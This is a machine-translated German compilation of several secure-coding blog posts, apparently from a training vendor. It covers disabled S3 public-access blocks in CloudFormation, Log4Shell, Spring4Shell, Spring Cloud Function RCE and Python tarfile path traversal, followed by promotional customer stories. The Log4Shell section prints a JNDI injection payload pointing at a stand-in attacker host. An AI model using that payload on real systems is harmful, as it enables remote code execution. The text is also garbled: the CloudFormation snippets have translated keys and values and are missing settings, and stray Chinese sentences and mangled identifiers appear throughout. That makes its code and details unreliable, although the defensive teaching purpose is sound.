Sicherheitscode-Einblicke

Heute sind Cybersicherheitsbedrohungen allgegenwärtig und nehmen ständig zu. Je mehr Bereiche unseres Lebens digitalisiert werden, desto größer wird das Risiko für Cyberkriminelle – es gibt zu viel Code, dessen Sicherheit nicht gewährleistet werden kann, und private Daten sind zu wertvoll. Außerdem ist es fast unmöglich, nach der Bereitstellung von Programmen mit allen Aspekten der Angriffsfläche Schritt zu halten und sich dagegen zu schützen.

Es gibt einige Methoden, um einige dieser Symptome zu lindern, und eine davon ist offensichtlich, wenn kluge Organisationen das Konzept „Infrastructure as Code“ (IaC) annehmen. Natürlich gibt es wie bei jeder Entwicklung einige Sicherheitsfallen, die es zu lösen gilt. Und da Entwickler Code generieren, der für die wichtige Infrastruktur zur Bereitstellung von Anwendungen verwendet wird, ist Sicherheitsbewusstsein in jeder Phase des Prozesses von entscheidender Bedeutung.

Wie können Entwickler, die gerade erst mit der Cloud-Server-Umgebung in Berührung gekommen sind, ihre Fähigkeiten verbessern, neue Fähigkeiten erlernen und unter Berücksichtigung der Sicherheit entwickeln? Wir haben die nächste Folge der Reihe „Coders Conquer Security” erstellt, um häufige IaC-Schwachstellen zu beheben. In den nächsten Blogbeiträgen werdenwir uns auf die Schritte konzentrieren, die Sie (als Entwickler) unternehmen können, um in Ihrem Unternehmen mit der Bereitstellung einer Sicherheitsinfrastruktur in Form von Code zu beginnen.

Lasst uns beginnen.

Im alten Westen der USA gibt es eine Fabel über einen paranoiden Mann, der glaubte, Banditen würden sein Haus überfallen und ausrauben. Als Ausgleichinvestierte er in verschiedene Sicherheitsmaßnahmen, wie zum Beispiel eine extrem robuste Eingangstür, vergitterte Fenster und eine große Anzahl von Schusswaffen in Reichweite. Eines Nachts wurde er im Schlaf ausgeraubt, weil er vergessen hatte, die Seitentür abzuschließen. Die Banditen fanden lediglich die unwirksamen Sicherheitsvorkehrungen und nutzten die Situation schnell aus.

Die Deaktivierung von Sicherheitsfunktionen in der Infrastruktur funktioniert so. Selbst wenn Ihr Netzwerk über eine starke Sicherheitsinfrastruktur verfügt, nützt dies nichts, wenn Elemente deaktiviert sind.

Bevor wir uns darauf einlassen, möchte ich eine Herausforderung stellen:

Wenn Sie den obigen Link aufrufen, gelangen Sie zu unserer Gamification-Trainingsplattform, auf der Sie sofort versuchen können, Sicherheitslücken zu überwinden. (Bitte beachten Sie: Die Plattform wird in Kubernetes geöffnet, aber über das Dropdown-Menü können Sie zwischen Docker, CloudFormation, Terraform und Ansible wählen. )

Wie läuft es bei Ihnen? Wenn Sie noch etwas zu tun haben, lesen Sie bitte weiter:

Sicherheitsfunktionen können aus verschiedenen Gründen deaktiviert sein. Bei einigen Anwendungen und Frameworks sind sie möglicherweise standardmäßig deaktiviert und müssen erst aktiviert werden, bevor sie ausgeführt werden können. Administratoren können auch bestimmte Sicherheitsfunktionen deaktivieren, um bestimmte Aufgaben einfacher ausführen zu können, ohne ständig herausgefordert oder blockiert zu werden (z. B. öffentliche AWS S3-Speicher). Nach Abschluss der Arbeitvergessen sie möglicherweise, die deaktivierten Funktionen wieder zu aktivieren. Möglicherweise ziehen sie es auch vor, sie deaktiviert zu lassen, um die Arbeit in Zukunft einfacher zu gestalten.

Warum sind deaktivierte Sicherheitsfunktionen so gefährlich?

Das Deaktivieren einer oder mehrerer Sicherheitsfunktionen ist aus zwei Gründen nicht empfehlenswert. Erstens werden Sicherheitsfunktionen in die Infrastrukturressourcen integriert, um bekannte Schwachstellen, Bedrohungen oder Sicherheitslücken abzuwehren. Wenn sie deaktiviert werden, können sie Ihre Ressourcen nicht mehr schützen.

Angreifer versuchen immer zuerst, leicht auszunutzende Schwachstellen zu finden, und verwenden möglicherweise sogar Skripte, um gängige Schwachstellen zu beheben. Das ist nicht anders, als wenn ein Dieb alle Autos auf der Straße überprüft, um zu sehen, ob eine Tür unverschlossen ist, was viel einfacher ist, als eine Scheibe einzuschlagen. Hacker sind möglicherweise überrascht, wenn sie feststellen, dass gängige Sicherheitsmaßnahmen nicht aktiv sind. Wenn dies jedoch der Fall ist, nutzen sie dies schnell aus.

Zweitens: Eine gute Sicherheitseinstellung und anschließende Deaktivierung kann ein falsches Gefühl der Sicherheit vermitteln. Wenn Administratoren nicht wissen, dass jemand diese Schutzmaßnahmen deaktiviert hat, könnten sie glauben, dass sie vor gängigen Bedrohungen sicher sind.

Als Beispiel dafür, wie Angreifer deaktivierte Sicherheitsfunktionen ausnutzen können, kann man sich die AWS S3-Sicherheitsfunktion zum Blockieren des öffentlichen Zugriffs vorstellen. Mit Amazon S3 Public Access Block können Kontoadministratoren und Bucket-Besitzer auf einfache Weise eine zentrale Kontrolle einrichten, um den öffentlichen Zugriff auf ihre Amazon S3-Ressourcen zu beschränken.Einige Administratoren haben jedoch Probleme beim Zugriff auf S3-Buckets und entscheiden sich, diese öffentlich zugänglich zu machen, um ihre Aufgaben so schnell wie möglich zu erledigen. Wenn sie vergessen, die Sicherheitsfunktion zu aktivieren, erhalten Angreifer uneingeschränkten Zugriff auf die in diesem S3-Bucket gespeicherten Informationen, was nicht nur zu Informationslecks führt, sondern auch zusätzliche Kosten für die Datenübertragung verursacht.

Lassen Sie uns einige Codes aus der realen Welt vergleichen. Sehen Sie sich den folgenden CloudFormation-Ausschnitt an:

Anfällig:

Unternehmensspeicher:
Typ: AWS:: S3:: Bucket
Eigenschaften:
Konfiguration für öffentlichen Zugriff:
blockPublicACLS: Fehler
BlockPublicy: Fehler
ignorepublicacls: Fehler
restrictPublicBuckets:
Versionskontrollkonfiguration:
Status: Aktiviert
Speicherverschlüsselung:
Konfiguration für serverseitige Verschlüsselung:
- Standardmäßige serverseitige Verschlüsselung:
SSE-Algorithmus: „AES256”

Sicherheit:

Unternehmensspeicher:
Typ: AWS:: S3:: Bucket
Eigenschaften:
Konfiguration des öffentlichen Zugriffsbereichs:
blockPublicACLS: Ja
BlockPublicy: Ja
ignoreRepublicacls:
restrictPublicBuckets:
Versionskontrollkonfiguration:
Status: Aktiviert
Speicherverschlüsselung:
Konfiguration der serverseitigen Verschlüsselung:
- Standardmäßige serverseitige Verschlüsselung:
SSE-Algorithmus: „AES256”

Verhindern der Deaktivierung von Sicherheitsfunktionen

Die Verhinderung negativer Auswirkungen durch deaktivierte Sicherheitsfunktionen auf Ihre Organisation ist sowohl eine Frage der Richtlinien als auch der Praxis. Es sollte eine strenge Richtlinie festgelegt werden, die vorsieht, dass Sicherheitsfunktionen nur in ganz besonderen Fällen deaktiviert werden dürfen. Vorfälle, in denen Funktionen vorübergehend deaktiviert werden müssen, um Probleme zu beheben oder Anwendungen zu aktualisieren, sollten dokumentiert werden. Nach Abschluss der erforderlichen Arbeiten sollten die Funktionen überprüft werden, um sicherzustellen, dass sie vollständig wieder aktiviert wurden.

Wenn Sicherheitsfunktionen dauerhaft deaktiviert werden müssen, um den Betrieb zu vereinfachen, sollten für die betroffenen Daten andere Schutzmaßnahmen getroffen werden, um sicherzustellen, dass Hacker ohne den standardmäßigen Schutz keinen Zugriff auf diese Funktionen erhalten. Wenn die erforderlichen Schutzfunktionen deaktiviert wurden, ist es nur eine Frage der Zeit, bis Angreifer eine ungeschützte Tür finden und diese Situation ausnutzen.

Mehr erfahren, sich selbst herausfordern:

Besuchen Sie die Blog-Seite von Security Code Warrior, um mehr über diese Sicherheitslücke zu erfahren und zu erfahren, wie Sie Ihr Unternehmen und Ihre Kunden vor anderen Sicherheitslücken und Schwachstellen schützen können.

Nachdem Sie diesen Artikel gelesen haben, sind Sie bereit, diese Sicherheitslücke zu entdecken und zu beheben? Dann ist es an der Zeit,die iMac-Gamification-Sicherheitsherausforderung auf Secure Code Warrior auszuprobieren, Secure Code Warrior kontinuierlich zu verbessern und auf dem neuesten Stand zu halten.

Dies ist eine wöchentliche Artikelserie, die unsere acht wichtigsten „Infrastructure as Code“-Schwachstellen behandelt. Schauen Sie nächste Woche wieder vorbei, um mehr zu erfahren!

Ein früherer Blogbeitrag beschrieb die Fallstricke von Java: „Bitweise Operatoren und Boolesche Operatoren“.

• Java-Falle – Bitweise Operatoren und Boolesche Operatoren

Wir haben diese Variante und einige andere Java-Fallstricke in einen unterhaltsamen kleinen Test namens „Challenge The Senseiaufgenommen.

• scw.typeform.com/to/rgw7q7oe

Wenn Sie den obigen Blogbeitrag gelesen haben, dann sind Sie an der richtigen Stelle, um mindestens eine Frage zu beantworten.

Aber deine Freunde vielleicht nicht. Wenn du den Test interessant findest, kannst du ihn mit ihnen teilen und sehen, ob ihre Punktzahl mit deiner übereinstimmt.

Wir möchten nicht nur Fragen stellen. Wir möchten damit auch zur Bildung und Wissenssammlung beitragen. Deshalb haben wir ein Github-Repository erstellt, das Fragen und ausführbare Code-Beispiele für Lösungen enthält.

• github.com/secureCodeWarrior/Herausforderung-die-

Dies ist ein von Lehrern aktiviertes Repo.

Wenn Sie das Repository klonen und in IntelliJ laden, wird davon ausgegangen, dass Sie das IntelliJ-Pluginvon Secure Code Warrior Warrior installiert haben. Dieses erkennt automatisch, dass Siesensei lädt dann Sensei .

Beim Durchsuchen des Codes in der IDE sollten Sie sehen, dass IntelliJ Sie auf Fehler im Code hinweist, wodurch Probleme im Code leichter zu erkennen sein sollten:

• Bewegen Sie den Mauszeiger über den hervorgehobenen Code, dann wird eine Meldung angezeigt, die Sie auf den Fehler hinweist.
• Verwenden Sie die Tastenkombination „Kontextbezogene Aktion anzeigen“: Alt+Eingabetaste (Windows) oder Option+Eingabetaste (macOS), um möglicherweise eine QuickFix-Option zur Fehlerbehebung anzuzeigen.

Sensei hinzugefügt für:

• Bitweise Operatoren
• IP-Adresse aufteilen
• Bestellbestätigung

Wir werden in Zukunft weitere Formeln und erklärende Texte hinzufügen, um den restlichen Code abzudecken... Aber lassen Sie sich davon nicht davon abhalten, den Code selbst zu überprüfen und Fehler zu finden.

Denken Sie daran, den Test zu machen und dann„den Lehrer herauszufordern“.

Am 9. Dezember wurde eine Zero-Day-Sicherheitslücke in der Java-Bibliothek Log4j bekannt gegeben. CVE-44228, auch bekannt alsLog4Shell, wurde aufgrund der Möglichkeit der Remote-Code-Ausführungals„hochkritisch“ eingestuft. Da log4j-core eine der am häufigsten verwendeten Java-Logging-Bibliotheken ist, sind Millionen von Anwendungen gefährdet.

Möchten Sie Ihre Fähigkeiten im Umgang mit Log4Shell schnell verbessern?

Wir haben eine Demo-Umgebung eingerichtet, die Sie von den Grundlagen von Log4Shell bis hin zur Ausnutzung dieser Sicherheitslücke in einem Simulator namens Mission führt. In dieser Mission zeigen wir Ihnen, wie sich die Log4j-Sicherheitslücke auf Ihre Infrastruktur und Anwendungen auswirken kann. Klicken Sie hier, um direkt zur Demo-Umgebung zu gelangen, oder lesen Sie weiter, um mehr über diese Sicherheitslücke zu erfahren.

Alte Nachrichten?

Diese Schwachstelle ist nichts Neues. Sicherheitsforscher haben bereits 2016 in einer BlackHat-Präsentation von Álvaro Muñoz und Oleksandr Mirosh betont,dass „Anwendungen keine JNDI-Abfragen mit nicht vertrauenswürdigen Daten durchführen sollten”, und erklärt, wie gezielte JNDI/LDAP-Injektionen zur Remote-Code-Ausführung führen können. Genau das ist der Kern von Log4Shell.

Angriffsvektor

Die Injektionslast von Log4Shell ist wie folgt:

$ {jndi: ldap: //attacker.host/xyz}

要理解这一点，我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式： $ {expr} 将在运行时进行评估。例如，$ {java: version} 将返回正在使用的 Java 版本。

Als Nächstes kommt JNDI, oder Java Naming and Directory Interface, eineAPI, die es ermöglicht, Dienste über Protokolle wie LDAP, DNS, RMI usw. zu verbinden, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt führt JNDI in dem oben genannten Beispiel für eine bösartige Nutzlast eine Abfrage an einem vom Angreifer kontrollierten LDAP-Server durch. Die Antwort könnte beispielsweise auf eine Java-Klassendatei verweisen, die bösartigen Code enthält, der dann auf dem anfälligen Server ausgeführt wird.

Die Schwachstelle ist deshalb so problematisch, weil Log4j alle Protokolleinträge auswertet und alle protokollierten Benutzereingaben abfragt, die mit der EL-Syntax mit dem Präfix „jndi“ geschrieben sind. Die Nutzlast kann überall dort injiziert werden, wo Benutzer Daten eingeben können, z. B. in Formularfeldern. Darüber hinaus können HTTP-Header wie User-Agent und X-Forwarded-For sowieandere Header so angepasst werden, dass sie die Nutzlast enthalten.

Um die Schwachstelle selbst zu erleben, besuchen Sie unseren Ausstellungsbereich und gehen Sie zu Schritt 2 – „Erleben Sie die Auswirkungen“.

Prävention: Bewusstsein

Es wird empfohlen, alle Anwendungen zu aktualisieren, da Log4j weiterhin an der Behebung des anfälligen Codes arbeitet. Die Versionen 2.15.0 und 2.16.0 enthalten jedoch DDoS- und andere Schwachstellen, sodass ab Ende Dezember ein Upgrade auf 2.17.0 empfohlen wird.

Bei der Entwicklung von Code müssen wir stets die Sicherheit berücksichtigen. Log4Shell hat uns gezeigt, dass die Verwendung von Frameworks oder Bibliotheken von Drittanbietern Risiken mit sich bringt. Wir müssen uns der Tatsache bewusst sein, dass die Verwendung externer Ressourcen die Sicherheit unserer Anwendungen beeinträchtigen kann, auch wenn wir naiv davon ausgehen, dass diese Ressourcen sicher sind.

Kann diese Sicherheitslücke verhindert werden? Ja und nein. Einerseits können Entwickler nur dann mehr tun, wenn anfällige Komponenten durch Software von Drittanbietern eingeführt werden. Andererseits wiederholt sich die daraus gewonnene Erkenntnis immer wieder: Man sollte niemals den Eingaben der Benutzer vertrauen.

Secure Code Warrior ist der Ansicht, dass sicherheitsbewusste Entwickler der beste Weg sind, um Code-Schwachstellen zu verhindern. Da SCW Schulungen für bestimmte Programmierframeworks in großem Umfang anbietet, können Unternehmenskunden anhand der Berichtsdaten schnell herausfinden, welche Java-Entwickler betroffen sind. Außerdem setzen sie auf von SCW geschulte Sicherheitsbeauftragte, um die Aktualisierung von Log4j zu beschleunigen.

InsbesondereSecure Code Warrior Java-EntwicklerSecure Code Warrior SenseiIntelliJ-Plugin. Dieses regelbasierte Code-Analyse-Tool kann zur Durchsetzung von Codierungsrichtlinien sowie zur Vorbeugung und Behebung von Schwachstellen eingesetzt werden. Sie können Ihre eigenen Regeln erstellen oder unsere vorgefertigten Regel-Rezepteverwenden. Stöbern Sie in unseren Rezepten und vergessen Sie nicht, unser Log4j-Rezept herunterzuladen, mit dem Sie die Log4Shell-Sicherheitslücke im Handumdrehen finden und beheben können.

Verbessern Sie Ihre Fähigkeiten zur Abwehr von Log4Shell

Möchten Sie das in diesem Blogbeitrag Gelernte in die Praxis umsetzen? Unsere Demo-Umgebung kann Ihnen dabei helfen. Zu Beginn der Demo erhalten Sie einen kurzen Überblick über diese Schwachstelle und werden anschließend in eine simulierte Umgebung weitergeleitet, in der Sie die Schwachstelle anhand von Anweisungen ausprobieren können.

‍

Vor kurzem hat Spring, eine der beliebtesten Bibliotheken der Java-Community, zwei Sicherheitslücken im Zusammenhang mit der Remote-Code-Ausführung (RCE) offengelegt. Um Ihnen zu helfen, leichter zu verstehen, ob Sie einem Sicherheitsrisiko ausgesetzt sind und welche Maßnahmen Sie ergreifen sollten, haben wir die bekannten Details zu „Spring4Shell“ und „Spring Cloud Function“ aufgeschlüsselt.

Sicherheitslücke 1 – „Spring4Shell“ (CVE-2022-22965)

Am 29. März 2022 entdeckte die Community eine Reihe von Tweets, die Screenshots eines Proof-of-Concept für eine Sicherheitslücke in Spring Core (SC) enthielten. Diese Sicherheitslücke ermöglicht die Remote-Ausführung von Code in allen Versionen von Spring Core, einschließlich der kürzlich veröffentlichten Version 5.3.17.

Welche Anwendungen sind gefährdet?

Derzeit ist nur für Anwendungen, die auf Tomcat gehostet werden, das Risiko dieser neuen Sicherheitslücke bestätigt. Obwohl Angriffe auf eingebettete Tomcat-Servlet-Container oder andere nicht auf Tomcat gehostete Anwendungen bislang nicht erfolgreich waren, schließt dies nicht aus, dass diese Frameworks in Zukunft erfolgreich für Angriffe genutzt werden könnten.

Im Frühjahr wurde eine offizielle Erklärung zu dieser Sicherheitslücke veröffentlicht. Nach dem derzeitigen Verständnis dieser Sicherheitslücke müssen die folgenden Bedingungen erfüllt sein, damit ein Angriff möglich ist:

• JDK 9 oder höher
• Apache Tomcat als Servlet-Container
• Als traditionelle WAR-Datei verpacken (im Gegensatz zu Spring Boot-ausführbaren JAR-Dateien)
• Spring-webmvc oder Spring-webflux Abhängigkeiten
• Spring Framework Versionen 5.3.0 bis 5.3.17, 5.2.0 bis 5.2.19 und frühere Versionen

Wie funktioniert die Sicherheitslücke „Spring4Shell“?

Die Schwachstelle hängt davon ab, dass in Anfragen, die gewöhnliche alte Java-Objekte (POJO) in der Methodensignatur verwenden, „Datenbindung“ (org.springframework.web.bind.Web.bind.WebDataBinder) verwendet wird:

Die Klasse Foo ist eine POJO-Klasse, die wie folgt definiert werden kann. Beachten Sie, dass die tatsächliche Klasse nicht wichtig ist, solange sie vom Klassenlader geladen werden kann.

Wenn eine Anfrage auf diese Weise verarbeitet wird, wird der Klassenlader zum Parsen der Klasse verwendet. Der Klassenlader ist dafür zuständig, Klassen zur Laufzeit zu laden, ohne zuvor alle möglichen Typen in den Speicher vorzuladen. Er berechnet, welche JAR-Datei geladen werden muss, wenn eine neue Klasse verwendet wird.

Aktuelle und detaillierte Informationen zu dieser Sicherheitslücke finden Sie direkt auf Spring in einem Blogbeitrag, einschließlich möglicher Korrekturen oder Workarounds.

Sicherheitslücke 2 – Spring Cloud-Funktion (CVE-2022-22963)

Am 27. März 2022 veröffentlichte Cyber Kendra Details zu einer noch ungeschlossenen Zero-Day-Sicherheitslücke in Spring Cloud Functions, die eine Remote-Code-Ausführung (RCE) ermöglicht. Die Sicherheitslücke wurde mit der ID CVE-2022-22963versehen : Spring Expression Resource Access Vulnerability.

Welche Anwendungen sind gefährdet?

Die Sicherheitslücke betrifft Anwendungen unter folgenden Bedingungen:

• JDK 9 oder höher
• Spring Cloud Functions Version 3.1.6 (oder niedriger), 3.2.2 (oder niedriger) oder jede andere nicht unterstützte Version

Wie funktioniert Ausbeutung?

Spring Cloud Function ermöglicht es Entwicklern, die Verarbeitung von Routen über die Eigenschaft spring.cloud.function.routing-expression zu konfigurieren, was normalerweise über Konfiguration oder Code erfolgt. Dies ist eine Art der die Leistungsfähigkeit der „Spring Expression Language“ (SpEL) nutzt. Durch diese 0-Tage-Sicherheitslücke haben wir erfahren, dass diese Eigenschaft über den HTTP-Header der Anfrage festgelegt werden kann, was bedeutet, dass Angreifer SpEL-Code direkt in die HTTP-Anfrage ihres RoutingFunction-Endpunkts einbetten und so beliebigen Code ausführen können.

Welche Maßnahmen sollten Nutzer ergreifen, um das Risiko zu verringern?

Im Frühjahr wurden die Versionen 3.1.7 und 3.2.3 veröffentlicht, die dieses Problem beheben, indem sie die Einstellung dieser Eigenschaft über HTTP-Header nicht zulassen und so die Sicherheitslücke schließen. Nach dem Upgrade auf eine dieser Versionen sind keine weiteren Schritte erforderlich.

Möchten Sie mehr darüber erfahren, wie wir Entwicklern dabei helfen, sichereren Code zu schreiben?Buchen Sie eine Demo oder sehen Sie sich unseren kostenlosen Leitfaden für sicheres Programmieren an : Security Code Coach.

‍

Quelle

• https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
• https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/

‍

Kürzlich gab eine Gruppe von Sicherheitsforschern bekannt, dass sie einen seit fünfzehn Jahren bestehenden Fehler in der Tar-Datei-Extraktionsfunktion von Python entdeckt haben. Die Schwachstelle wurde erstmals 2007 offengelegt und unter der Nummer CVE-2007-4559erfasst. In der offiziellen Python-Dokumentation wurde ein Hinweis hinzugefügt, aber der Fehler selbst wurde nicht behoben.

Diese Sicherheitslücke könnte Tausende von Softwareprojekten betreffen, doch viele sind sich der Situation oder der Vorgehensweise nicht bewusst. Aus diesem Grund bieten wir Ihnenhier bei Security Code Warriorsdie Möglichkeit, die Ausnutzung dieser Sicherheitslücke selbst zu simulieren, um ihre Auswirkungen mit eigenen Augen zu sehen und den Mechanismus dieses anhaltenden Fehlers selbst zu erleben, damit Sie Ihre Anwendungen besser schützen können!

Probieren Sie die Mission jetzt aus.

Sicherheitslücke: Pfadüberlauf beim Extrahieren von tar-Dateien

Wenn ungeprüfte Benutzereingaben zum Erstellen von Dateipfaden verwendet werden, kann es zu Pfad- oder Verzeichnisüberläufen kommen, wodurch Angreifer Zugriff erhalten, Dateien überschreiben und sogar beliebigen Code ausführen können.

Die Schwachstelle besteht im Python-Modul „tarfile “. Eine TAR-Datei (Tape Archive) ist eine einzelne Datei, die als Archiv bezeichnet wird. Sie enthält mehrere Dateien und deren Metadaten und ist in der Regel an der Dateiendung .tar.gz oder .tgz zu erkennen. Jedes Element im Archiv kann durch ein TarInfo-Objekt dargestellt werden, das Metadaten wie Dateiname, Änderungszeitpunkt, Eigentumsrechte usw. enthält.

Das Risiko besteht darin, dass die Dateien erneut abgerufen werden können.

Beim Extrahieren muss jedes Mitglied einen Pfad schreiben. Dieser Ort wird durch Verbinden des Basispfads mit dem Dateinamen erstellt:

Nach dem Erstellen dieses Pfads wird er an tarfile.extra oder tarfile.extall , um die extrahierende Funktion auszuführen:

Das Problem hierbei ist die mangelnde Bereinigung von Dateinamen. Angreifer können Dateien umbenennen, sodass sie Pfadüberlaufzeichen enthalten, beispielsweise Doppelpunkt-Schrägstrich (../), wodurch die Datei das Verzeichnis verlässt, in dem sie sich eigentlich befinden sollte, und beliebige Dateien überschreibt. Dies kann letztendlich zur Ausführung von Remote-Code führen, wobei die Zeit für die Ausnutzung bereits reif ist.

Wenn Sie wissen, wie man diese Schwachstelle erkennt, dann tritt sie auch in anderen Szenarien auf. Neben der Verarbeitung von tar-Dateien durch Python besteht diese Schwachstelle auch beim Extrahieren von zip-Dateien. Möglicherweise kennen Sie sie unter einem anderen Namen, beispielsweise als „Komprimierte Datei-Schwachstelle“, die auch in anderen Sprachen als Python auftritt!

Link zur Aufgabe 

Wie kann man das Risiko verringern?

Obwohl diese Schwachstelle seit Jahren bekannt ist, sind die Python-Entwickler weiterhin der Meinung, dass die Extraktionsfunktion sofunktioniert, wie sie soll. In diesem Fall könnte man argumentieren, dass es sich um eine Funktion und nicht um einen Fehler handelt. Leider können Entwickler es nicht immer vermeiden, tar- oder zip-Dateien aus unbekannten Quellen zu extrahieren. Als Teil sicherer Entwicklungspraktiken sind sie dafür verantwortlich, nicht vertrauenswürdige Eingaben zu bereinigen, um Pfadüberlauf-Schwachstellen zu verhindern.

Möchten Sie mehr darüber erfahren, wie Sie mit Python sicheren Code schreiben und Risiken minimieren können?

Probieren Sie unsere kostenlose Python-Challengeaus.

Wenn Sie an weiteren kostenlosen Programmierhandbüchern interessiert sind, sehen Sie sich den Security Code Coach an, der Ihnen hilft, sichere Programmierpraktiken zu erlernen.

‍

‍

Michael Martinez ist Cybersicherheitsanalyst und Kameramann bei Nelnet, einem US-amerikanischen Unternehmen, das sich mit der Verwaltung und Rückzahlung von Studentenkrediten und Bildungsfinanzierungsdienstleistungen befasst. Als er damit beauftragt wurde, ein Schulungsprogramm zum Thema sicheres Programmieren für Entwickler zu erstellen, wandte er kreative Methoden an, um das Team zu begeistern. Die Art und Weise, wie er das Schulungsprogramm zum Thema sicheres Programmieren durchführte, beeindruckte uns sehr, sodass wir uns mit ihm zusammengesetzt haben, um mehr darüber zu erfahren.

底线？

Eine Sicherheitskultur schaffen, interne Sicherheitsbefürworter im Entwicklungsteam fördern und „eine Kraft des Guten werden“.

„Durch die Konzentration auf sicheren Code helfen wir Unternehmen, stärker und sicherer zu werden.“

Bei Nelnet haben Micha und sein Sicherheitsteam von Anfang an die Bedeutung der Erstellung sicherer Codes erkannt. Sie wollten dies auf eine ansprechende, relevante und nützliche Weise erreichen.Er hat festgestellt, dass Entwickler, die ein starkes Interesse an sicherem Programmieren haben und über entsprechende Kenntnisse verfügen, zu Sicherheitsbotschaftern ausgebildet werden können, die als Katalysatoren für eine gesamte Sicherheits-Mindset-Schulung fungieren. Diese Personen stehen Kollegen, die punktuelle Hilfe benötigen, mit Rat und Tat zur Seite und werden zu Vorreitern für die Umsetzung von Änderungen im Bereich sicheres Programmieren innerhalb des Unternehmens.

Hier finden Sie weitere Informationen von Micha darüber, wie er und sein Team die Denkweise und Kultur rund um die Sicherheit verändert haben, um ihr Unternehmen „stärker und sicherer“ zu machen.

Alles dreht sich um das Recht zu prahlen... und darum, Schwachstellen zu reduzieren.

Micha führt keine gewöhnlichen Sicherheitsschulungen durch. Er nutzt den Wettbewerb und sein fotografisches Talent, um die Meisterschaft attraktiv und erfolgreich zu gestalten. Die Entwickler erhalten hochrelevantes, praktisches Wissen, mit dem sie sichereren Code erstellen können.

Mit der zunehmenden Sicherheit ihrer Produkte und einem höheren Maß an Schutz vor Software-Schwachstellen hat das Unternehmen ebenfalls Erfolge erzielt. Das Erlernen von Softwaresicherheit muss nicht unbedingt eine typische und langweilige Lernerfahrung sein, bei der man nur Checkboxen abhakt. Entwickler wünschen sich eine immersive, herausfordernde und für ihre tägliche Arbeit relevante Schulungserfahrung.

Sehen Sie sich an, wie Micha erzählt, wie er durch Wettbewerbe sicheres Programmiertraining interessant gestaltet, darunter mit Fitness-Meistergürteln und Wrestling-Fanartikeln als Preisen. Um sein Team dazu zu bringen, Sicherheit an erste Stelle zu setzen, braucht es nur einen gesunden Wettbewerb.

Wer mag es nicht, zu prahlen?

‍

Eine Kultur der sicheren Codierung fördern... Dieses Tool reicht noch nicht aus.

Micha hinterließ uns einen letzten Gedanken, warum er Secure Code Warriorempfiehlt. Diese Plattform ist das Werkzeug, das ihn dazu veranlasst hat, eine Kultur der Prävention und des proaktiven Lernens zu schaffen. Die Entwicklung eines Schulungsprogramms erfordert Zeit und Investitionen in geschulte und leistungsstarke Entwickler. Es bedarf einer transformativen Kultur, um die Fähigkeiten jedes Entwicklers zu fördern, präventive Methoden für sicheres Codieren anzuwenden.

Hier ist mehr von Micha, der erklärt, warum die Förderung einer Kultur der sicheren Programmierung Secure Code Warrior anderen Secure Code Warrior .

Secure Code Warrior eine immersive und fesselnde Lernplattform für sicheres Programmieren. Sind Sie an einer Demo interessiert? Buchen Sie unten einen Termin.

Wir haben uns mit Larry Maccherone zusammengesetzt, einem führenden Experten für Sicherheit und moderne Anwendungssicherheit, der Code-Analyse und Angriffsabwehr direkt in die Software integriert. Wir haben darüber gesprochen, wie situatives Lernen Entwickler erfolgreich in sicherem Programmieren schulen kann.

Heutzutage tragen Entwickler zunehmend die Verantwortung, die Cybersicherheitslücken von morgen zu schließen. Zwar gibt es Schulungen zu Code-Schwachstellen, doch werden diese oft in einer unattraktiven Form angeboten, die nichts mit der täglichen Arbeit der Entwickler zu tun hat. Entwickler müssen schnell Code schreiben, um die Anforderungen ihrer Kunden zu erfüllen, und schieben daher geschäftliche Ziele wie Schulungen auf.Wenn diese Schulungen zudem aus dem Zusammenhang gerissen und in Form von langwierigen Präsentationen oder Lernhandbüchern angeboten werden, wird es noch schwieriger, den Nutzen dieser zusätzlichen Anstrengungen zu erkennen.

Wie kann eine Organisation Entwicklern wichtige Sicherheitsschulungen anbieten, ohne sie in ihren täglichen Aufgaben zu stören oder sie von ihren bevorzugten Tools und Arbeitsabläufen fernzuhalten?

Die Antwort ist ganz einfach: Durch den Einsatz von Situationslernen können Entwickler Schulungen ganz einfach zugänglich machen. Larry erklärt in dem folgenden Video, warum dies für Entwickler so wichtig ist.

Durch die Integration von Schulungsmöglichkeiten während der Überprüfung des Codes durch die Entwickler erhalten diese sofort die relevantesten Informationen zu den gefundenen Problemen oder Schwachstellen. Da die Schulungen in kleineren, leichter verständlichen Einheiten stattfinden, ist es außerdem wahrscheinlicher, dass die Entwickler die Informationen behalten und in Zukunft keine anfälligen Codes mehr verwenden. Wie Larry sagt: „Feedback ist der Schlüssel zum Lernen.“

Am wichtigsten ist, dass Entwickler in kürzerer Zeit mehr Arbeit erledigen und sicheren, hochwertigen Code liefern müssen. Durch die Integration von kontextbezogenen Schulungen zu Code-Schwachstellen optimiert es den Arbeitsablauf und die Erfahrung der Entwickler und erhöht ihre Bindungsrate. Hören Sie sich an, wie Larry diese 40 Stunden Schulungszeit einspart!

Secure Code Warrior und kontextbezogene, hochrelevante Schulungen für Ihre Entwicklungs- und Sicherheitsteams.

Interessiert an einer Demo? Reservieren Sie unten eine.

‍

Der Software Development Lifecycle (SDLC) scheint harmlos genug zu sein; es ist ein Prozess, und wir Software-Leute kommen alle zusammen, um die Magie geschehen zu lassen und all die digitalen Güter auszuliefern, ohne die die Gesellschaft nicht leben kann.

Nur... wenn Sie jemals Teil eines Softwareentwicklungsprojekts waren, wissen Sie, dass es normalerweise ein Spießrutenlauf ist, mit vielen Aufgaben, die es zu bewältigen und Drachen zu erschlagen gilt. Eine Zeit lang macht es Spaß, aber Burnout ist real, und die Nachfrage nach Software lässt uns alle in den besten Zeiten mit Lichtgeschwindigkeit arbeiten, besonders das Entwicklungsteam.

Nun stellen Sie sich vor, dass ihnen eine weitere Pflichtaufgabe auferlegt wird ... die Verantwortung für die Sicherheit der Projektelemente, die sie berühren. Schlimmstenfalls kann das für einige Personen das Kartenhaus zum Einsturz bringen, aber das realistischere Szenario ist, dass es einfach nicht zur Priorität gemacht wird, und die Themen, die als dringender angesehen werden, um über die Linie zu kommen, Vorrang haben. Und wenn die meisten Entwickler nicht darin geschult sind, sicher zu programmieren (vor allem, wenn auch ihre Manager der Sicherheit keine Priorität einräumen), ist es kein Wunder, dass es immer wieder zu Datenschutzverletzungen und fehlerhaften App-Veröffentlichungen kommt und Sicherheitsexperten unter einer Lawine von fehlerhaftem Code an ihre Grenzen stoßen.

Entwickler brauchen einen AppSec-Befürworter.

